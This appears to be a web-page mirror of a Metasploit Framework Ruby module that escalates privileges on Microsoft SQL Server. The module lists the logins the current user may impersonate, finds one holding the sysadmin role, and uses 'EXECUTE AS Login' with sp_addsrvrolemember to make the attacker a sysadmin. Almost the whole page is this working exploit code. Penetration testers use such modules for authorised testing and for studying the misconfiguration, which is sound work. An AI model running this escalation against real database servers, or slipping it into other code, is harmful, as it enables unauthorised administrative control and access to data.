CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::MSSQL
9
include Msf::OptionalSession::MSSQL
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Microsoft SQL Server Escalate EXECUTE AS',
14
'Description' => %q{
15
This module can be used escalate privileges if the IMPERSONATION privilege has been
16
assigned to the user. In most cases, this results in additional data access, but in
17
some cases it can be used to gain sysadmin privileges.
18
},
19
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
20
'License' => MSF_LICENSE,
21
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
22
))
23
end
24
25
def run
26
if session
27
set_mssql_session(session.client)
28
else
29
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
30
if mssql_login_datastore
31
print_good('Connected.')
32
else
33
print_error("Login was unsuccessful. Check your credentials.")
34
disconnect
35
return
36
end
37
end
38
39
# Query for sysadmin status
40
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
41
user_status = check_sysadmin
42
43
# Check if user has sysadmin role
44
if user_status == 1
45
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
46
disconnect
47
return
48
else
49
print_status("You're NOT a sysadmin, let's try to change that.")
50
end
51
52
# Get a list of the users that can be impersonated
53
print_status("Enumerating a list of users that can be impersonated...")
54
imp_user_list = check_imp_users
55
if imp_user_list.nil? || imp_user_list.length == 0
56
print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')
57
disconnect
58
return
59
else
60
# Display list of users that can be impersonated
61
print_good("#{imp_user_list.length} users can be impersonated:")
62
imp_user_list.each do |db|
63
print_status(" - #{db[0]}")
64
end
65
end
66
67
# Check if any of the users that can be impersonated are sysadmins
68
print_status('Checking if any of them are sysadmins...')
69
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
70
if imp_user_sysadmin.nil?
71
print_error('Sorry, none of the users that can be impersonated are sysadmins.')
72
disconnect
73
return
74
end
75
76
# Attempt to escalate to sysadmin
77
print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
78
escalate_status = escalate_privs(imp_user_sysadmin[0])
79
if escalate_status
80
# Check if escalation was successful
81
user_status = check_sysadmin
82
if user_status == 1
83
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
84
else
85
print_error('Fail buckets, something went wrong.')
86
end
87
else
88
print_error('Error while trying to escalate privileges.')
89
end
90
91
disconnect
92
return
93
end
94
95
# Checks if user is a sysadmin
96
def check_sysadmin
97
# Setup query to check for sysadmin
98
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
99
100
# Run query
101
result = mssql_query(sql)
102
103
# Parse query results
104
parse_results = result[:rows]
105
status = parse_results[0][0]
106
107
# Return status
108
return status
109
end
110
111
# Gets trusted databases owned by sysadmins
112
def check_imp_users
113
# Setup query
114
sql = "SELECT DISTINCT b.name
115
FROM sys.server_permissions a
116
INNER JOIN sys.server_principals b
117
ON a.grantor_principal_id = b.principal_id
118
WHERE a.permission_name = 'IMPERSONATE'"
119
120
result = mssql_query(sql)
121
122
# Return on success
123
return result[:rows]
124
end
125
126
# Checks if user has the db_owner role
127
def check_imp_sysadmin(trust_db_list)
128
# Check if the user has the db_owner role is any databases
129
trust_db_list.each do |imp_user|
130
# Setup query
131
sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
132
133
# Run query
134
result = mssql_query(sql)
135
136
# Parse query results
137
parse_results = result[:rows]
138
status = parse_results[0][0]
139
if status == 1
140
print_good(" - #{imp_user[0]} is a sysadmin!")
141
return imp_user
142
else
143
print_status(" - #{imp_user[0]} is NOT sysadmin!")
144
end
145
end
146
nil
147
end
148
149
def escalate_privs(imp_user_sysadmin)
150
# Impersonate the first sysadmin user on the list
151
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
152
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
153
154
mssql_query(evil_sql_create)
155
156
true
157
end
158
end
159
160